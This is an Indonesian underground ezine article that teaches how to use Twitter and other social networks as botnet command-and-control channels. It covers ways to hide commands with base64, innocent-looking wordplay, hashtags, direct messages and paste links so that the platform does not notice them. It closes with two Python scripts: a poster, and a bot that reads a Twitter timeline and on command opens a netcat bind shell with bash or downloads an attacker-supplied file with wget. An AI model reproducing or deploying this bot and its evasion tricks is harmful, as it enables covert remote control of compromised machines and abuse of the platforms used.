_|                            _|                      
   _|_|      _|_|_|  _|_|_|      _|_|    _|_|_|_|      _|_|_|      _|_|    
 _|_|_|_|  _|        _|    _|  _|    _|      _|    _|  _|    _|  _|_|_|_|  
 _|        _|        _|    _|  _|    _|    _|      _|  _|    _|  _|        
   _|_|_|    _|_|_|  _|    _|    _|_|    _|_|_|_|  _|  _|    _|    _|_|_|  

ECHO MAGAZINE VOLUME VIII, ISSUE XXII, PHILE 0x010.TXT

Social Networking: Bot/Botnet Command & Control Center Channel - az001
az001/at/echo/dot/or/dot/id


---[ Pendahuluan

Setelah menulis Local & Underground News pada edisi sebelumnya tentang
Social Networking[1], beberapa bulan kemudian baru saya menyempatkan diri 
mencari informasi lebih jauh mengenai salah satu yang dibahas disana,
yakni "Twitter sebagai alat kontrol Bot/Botnet".

Pada tulisan ini saya akan mencoba membahas secara singkat tentang
bagaimana penggunaan situs jejaring sosial sebagai alternatif kanal 
untuk mengontrol Bot. 

Tidak dibahas bagaimana caranya Bot tersebut akhirnya berada
pada mesin yang diinginkan.


---[ Background

Situs jejaring sosial sebagai salah satu kanal C&C (Command & Control) 
sebenarnya hampir sama dengan penggunaan kanal yang lain, IRC misalnya. 

Menurut beberapa artikel[2] yang saya baca dan menurut saya memang menarik,
karena jejaring sosial biasanya memiliki jumlah pengguna yang sangat besar
dan setiap harinya menghasilkan data yang sangat besar pula,
itu membuat kita mudah untuk menyembunyikan "perintah"
dan tentunya membuat C&C sulit untuk dideteksi, asyiknya lagi hampir semua
situs jejaring sosial menyediakan API untuk mengakses beragam fitur 
yang ada pada situs jejaring sosial tersebut.


---[ Twitter sebagai kanal C&C

Ya, mari kita bahas beberapa kemungkinan yang bisa kita lakukan dalam
penggunaan jejaring sosial sebagai kanal untuk C&C. 
Kali ini kita ambil satu contoh situs jejaring sosial yaitu Twitter, 
selain itu anda juga dapat menggunakan Facebook, LinkedIn, Friendster,
FourSquare, Koprol, dan sejenisnya.

Sederhananya, Bot akan memonitor akun twitter yang kita buat dan
menjalankan perintah yang kita tulis di akun tersebut.
Cara untuk memonitor akun tersebut juga sederhana, 
mulai dari menggunakan RSS feed atau dapat menggunakan API yang telah
disediakan oleh Twitter.

Beberapa cara yang biasa dan dapat dilakukan di Twitter adalah sebagai
berikut : 

[1] Status Tweet

    Cara yang biasa dan paling mudah dilakukan adalah tentunya dengan
    membuat tweet baru, contohnya seperti :

    "PING 10.0.0.1" 
    "SHUTDOWN"

    Sayangnya pada contoh diatas, perintah tersebut tentu terlalu mudah
    dibaca oleh semua orang.
    Diluar sana, biasanya orang membuat akun twitter yang diproteksi, 
    sehingga hanya user/bot yang diizinkan yang hanya dapat membaca tweet
    tersebut. 

    Sebagian lainnya mengkombinasikan antara akun twitter tersebut dengan 
    penggunaan base64 untuk menyembunyikannya.

    Contohnya seperti :

    "UElORyAxMC4xLjEuMQ=="
    "U0hVVERPV04="

    Kelemahan cara diatas adalah terlalu mudah bagi twitter untuk mencari
    akun yang tweetnya mengandung base64 
    dan memblokir akun tersebut.

    Salah satu cara meminimalisir kecurigaan adalah dengan memberikan
    perintah yang tidak bisa ditebak maksudnya,
    dan bahkan mungkin tidak disadari oleh pengguna twitter yang lain.

    Sebagai contoh :


    "@temen1 Main game yuk, IP gue 10.0.0.1, nick gue PINGKAN ?" 

    "echo zine udah keluar, silahkan download di http://ezine.echo.or.id/ezine.tar"


    Pesan pertama mengandung arti "ping 10.0.01", "10.0.0.1" menunjukkan
    alamat IP dan kata "PINGKAN" menunjukkan perintah ping.

    Pada pesan kedua tentu saja "download http://ezine.echo.or.id/ezine.tar", 
    kata "download" menunjukkan perintah download dan url tersebut tentu saja
    menunjukkan alamat file yang akan didownload.

    Cara seperti ini tampaknya sulit dideteksi oleh twitter, walaupun pada 
    implementasinya jika ingin membuat lebih banyak variasi kalimat, 
    kita harus menyiapkan beberapa kata.

    Untuk "permainan" kalimat/kata ini sebenarnya tinggal seberapa kreatif
    anda membuatnya :D.

 
[2] Tweet ke akun acak

    Dengan cara ini, kita akan mengirim pesan yang didalamnya adalah
    perintah ke akun twitter secara acak, nantinya Bot akan mencari pesan tersebut 
    (lewat fitur search) dan jika pesan tersebut ditemukan, lalu akan dijalankan.
  
    Ilustrasi 1:
   

		PESAN		 ACAK		      PESAN
    TUKANGPOS ---------> TWITTER ACC[1,2,3,n] ---> Twitter Acc 2 


    Pada ilustrasi 1 ini, TUKANGPOS mengirim PESAN yang ternyata 
    akun twitter nomor 2 yang dikirimi pesan tersebut.


   Ilustrasi 2:


			  |--- Twitter Acc 1
			  |	
                          |--- Twitter Acc 2
          CARI PESAN      | 	                     PESAN
   BOT--> ------------> |-|--- Twitter Acc 3  |-> Twitter Acc 2  
    			  |		 	       |			
    			  |--- Twitter Acc n	       |
     						       |
						       V
    					     [ JALANKAN PERINTAH ]
    

    Pada ilustrasi 2 ini, Bot mencari pesan ke seluruh akun twitter
    (melalui fitur search twitter),dan ternyata pesan tersebut ditemukan 
    pada akun twitter 2, lalu Bot menjalankan perintah tersebut.

    Cara ini sebenarnya cukup mudah diimplementasikan, asal kita tahu metode 
    yang bagus untuk mencari pesan tersembunyi tersebut di banyaknya akun twitter
    yang bertebaran di seluruh penjuru dunia.
 
    Metode filter hashtag bisa dijadikan contoh, dengan membuat hashtag di twitter,
    Bot kita lebih mudah mencarinya. Contoh penggunaan hashtag :


    "Main game yuk, server 10.0.0.1, nick gue PINGKAN #gameping"


    Walaupun agak sulit untuk twitter mendeteksi dan membedakan apakah akun
    tersebut benar akun asli milik orang atau memang akun kita yang sengaja dibuat
    untuk kepentingan BOT, jika metode yang kita gunakan sudah diketahui 
    ya tinggal tunggu waktu untuk mereka mencari solusinya. 
   
    Lucunya misalkan terlalu sering menggunakan hashtag yang sama, 
    bisa jadi nanti malah nongkrong di trending topic twitter =)).

    Kelihatannya menggabungkan cara ini dengan "permainan" kata yang telah
    dibahas sebelumnya menjadi lumayan ampuh.


[3] Direct Message

    Menggunakan Direct Message (DM) menggantikan tweet biasa rupanya juga
    bisa menjadi senjata ampuh, DM adalah salah satu fitur yang biasanya 
    digunakan untuk mengirim pesan dari satu user ke user yang lainnya.
   
    Karena Direct Message ini hanya dapat dibaca oleh 2 user (yang mengirim
    dan yang dikirimi), maka agaknya sulit bagi twitter untuk mendeteksi hal ini. 
    Namun saya tetap menyarankan agar "permainan" kata tetap digabungkan dengan fitur ini,
    untuk berjaga jaga jika penggunaan DM semakin sering digunakan untuk hal ini 
    dan twitter akan lebih waspada.

    Jika hal tersebut terjadi maka sebenarnya lebih mudah untuk twitter menutup 
    2 akun tersebut sekaligus.


[4] Gabungkan dengan Social Network lain
    Dengan menggabungkan twitter dengan jejaring sosial lainnya, mungkin
    dapat menjadi salah satu alternatif, berikut ini contoh beberapa yang bisa dilakukan.
  
    [a] Twitter + FourSquare
        Dengan Foursqure mungkin kita dapat menggabungkan seperti ini :

        "Meeting bersama client gogol.com - I'm at Pacific Place.http://4sq.com/9EDS11"

        Dari tweet tersebut, sebenarnya bisa saja kita mengartikan bahwa gogol.com adalah target
        dan Pacific sebagai perintah "scan", jadi dari tweet diatas bisa diartikan.

        "scan gogol.com"

    [b] Twitter + TinyPaste 
        Untuk perintah yang agak panjang, mungkin seperti "ls -al/var/www/" , 
        walaupun dapat langsung kita tuliskan di tweet/dm, mungkin salah satu alternatif dapat
       	digunakannya TinyPaste, seperti :

        "Puisi untukmu Adinda, cek disini : http://tinypaste.com/458745"

        Jika BOT menemukan tweet ini dan menemukan kata "Puisi" otomatis dia akan 
	mengunjungi url tinypaste tersebut dan menjalankan isinya.


    Dengan penggabungan twitter dengan jejaring sosial dan atau aplikasi web lainnya,
    membuat lebih kaya dan agaknya lebih manusiawi, sehingga tidak mudah dicurigai oleh twitter.


Sebenarnya masih banyak cara lainnya selain 4 cara yang sudah disebutkan tadi, 
namun banyak dari cara tersebut yang merupakan variasi dari beberapa cara diatas.

Contoh kecilnya adalah seperti mengganti base64 dengan caesar cipher, 
mengganti IP dengan huruf ( 10.1.1.1 menjadi J.A.A.A ) dan mungkin juga
dengan bahasa 4l4y ? :p.



---[ Jejaring Sosial lain

Selain Twitter, bisa digunakan beberapa jejaring sosial seperti yang saya
sebutkan diatas, cara yang dilakukan hampir sama dengan yang ada di Twitter,
walaupun ada beberapa perbedaan pada fitur yang ada disana.

Alangkah baiknya menambahkan jejaring sosial lainnya sebagai kanal untuk
C&C, untuk menghindari jaringan twitter down (sering sekali nih :p), akun twitter di blok,
dan lain sebagainya.


---[ Simple Script ( Bot & Tukangpos )

Berikut ini adalah script yang dibuat dengan beberapa contoh perintah yang
dapat digunakan.

Di sini ada dua buah script yang saya buat, tukangpos.py bertugas untuk
post pesan ke twitter dan sample-bot.py bertugas sebagai bot.
 
Saya menggunakan module twitter-python[3] untuk mengakses API Twitter.
Setelah dibandingkandengan jika langsung membuat melalui httplib / curl dan atau kawan
kawannya,proses pengambilan informasi/perintah dari twitter ternyata lebih cepat
dibandingkan melalui module twitter-python.

Dan salah satu kekurangan menggunakan API Twitter adalah, adanya pembatasan
akses ke API per akun. Sebagai informasi, pada saat tulisan ini dibuat pembatasan[4] penggunaan
API Twitter adalah :

.Post Status/Updates 	: 1,000 per hari
.API Request 		: 150 per jam
.Direct Message(s) 	: 250 per hari




------------------] tukangpos.py [---=

#!/usr/bin/env python

import twitter,sys

def py_posttwit(nickname,password,posttext):
	api = twitter.Api(username=nickname,password=password)

	if len(posttext)<2:
		isisurat=posttext[0]
	else:
		isisurat=posttext[0] + " " + posttext[1]

	status = api.PostUpdate(isisurat)

	print isisurat + " " + "dikirim oleh pak pos"


py_posttwit('twitteracc','passwordtwitter',sys.argv[1:])


------------------------ EOF ----------------//



-----------------] sample-bot.py [---=

#!/usr/bin/env python

import twitter,string,time
from subprocess import call

def py_lasttwit(nickname):
	api = twitter.Api()
	statuses = api.GetUserTimeline(nickname)

	x = [s.text for s in statuses]
	return x[0]


def py_start_bot(nickname,ttl,reng):
	for d in range(1,reng):

		cmd = py_lasttwit(nickname)
		cmdd = string.split(cmd,' ')
		cmdrun = cmdd[0]

		if len(cmdd) < 2:
			if cmdrun=="BIND":
				call(['nc','-lp33','-e/bin/bash'])
			else:
				print "Sedang menunggu perintah atasan...."

		else:
			cmdparam = cmdd[1]
			if cmdrun=="DL":
				call(['wget',cmdparam])
			else:
				print "Sedang menunggu perintah atasan...."

		time.sleep(ttl)

py_start_bot('twitteracc',2,2000)

----------------- EOF ----------//


Note :

.-- Jalankan sample-bot.py terlebih dahulu (perintah BIND bekerja kalau
anda menggunakan root)

.-- Setelah itu jalankan tukangpos.py dengan mengetikkan :
    ./tukangpost.py BIND atau ./tukangpost.py DL http://target.com/file.zip

.-- Jika anda sedang menjalankan bot dan sudah mengupdate status twitter
    nya melalui tukangpos namun bot anda belum juga berganti perintah,
    jawabannya adalah : masih ada cache, jika ingin mengubahnya nilai waktu cache,
    baca dokumentasi [5] module twitter-python.

.-- Pada script ini, jika tukangpos.py mengirim command yang sama diwaktu
    yang sama, maka akan timbul Error :p, silahkan cari solusinya sendiri,
    kelihatannya pembatasan ini sengaja dilakukan oleh twitter.

.-- Script ini tidaklah sempurna, ini hanya sekedar contoh, sebenarnya
    banyak lagi yang saya ingin tambahkan :p.



---[ Kesimpulan

Penggunaan jejaring sosial sebagai kanal bagi Bot/BotNet agaknya cukup
dapat menambah opsi baru, selain menggunakan IRC sebagai kanalnya.

Sulit terdeteksinya kanal jenis ini mungkin karena merupakan situs yang
populer, sehingga paket data yang diterima oleh Bot berasal dari situs tersebut, 
sehingga mungkin sistem administrator/user tidak terlalu curiga akan hal ini.

Permainan kata menjadi faktor penting untuk menjaga kanal kita agar tidak
diketahui penyedia layanan, kemampuan kita membuat Bot Pintar adalah 
salah satu tantangan tersendiri.Mungkin bisa mencoba membuat anagram 
seperti da vinci code ?.

Tampaknya beberapa bulan kedepan, akan muncul banyak Bot/BotNet yang
memanfaatkan situs jejaring sosial ini sebagai salah satu kanalnya.

Saat tulisan ini ditulis, sudah ada beberapa PoC yang beredar [6] [7]
walaupun pada saat masuk halaman download ternyata tidak ada :D.

Update: ternyata walaupun tidak ditemukan pada halaman downloadnya,
setelah menulis artikel ini saya penasaran mencari PoC tersebut
dan akhirnya saya menemukan PoC[8] yang dirilis saat Defcon 17 
yang berlangsung tahun lalu. Saya belum mencoba PoC tersebut,
yang pasti PoC tersebut tentunya lebih baik dari yang saya buat ini :p.


Ya, mudah - mudahan artikel ini dapat bermanfaat bagi kita semua.




---[ Referensi

[1] Local & International News
    http://ezine.echo.or.id/ezine21/e21_008.txt

[2] Kreiosc2
    http://www.digininja.org/kreiosc2/

[3] Python-Twitter Module
    http://code.google.com/p/python-twitter/

[4] Twitter API Help - Rate Limiting
    http://help.twitter.com/forums/10711/entries/15364

[5] Python Twitter Module Documentation
    http://static.unto.net/python-twitter/0.6/doc/twitter.html

[6] Kreiosc2 - How It Works
    http://www.digininja.org/kreiosc2/how_it_works.php

[7] The DIY Twitter Botnet Creator
    http://sunbeltblog.blogspot.com/2010/05/diy-twitter-botnet-creator.html

[8] http://www.digininja.org/files/kreiosc2_2.0.tar.bz2 (diakses 27 May 2010)

[9] The Python Language Reference
    http://docs.python.org/reference/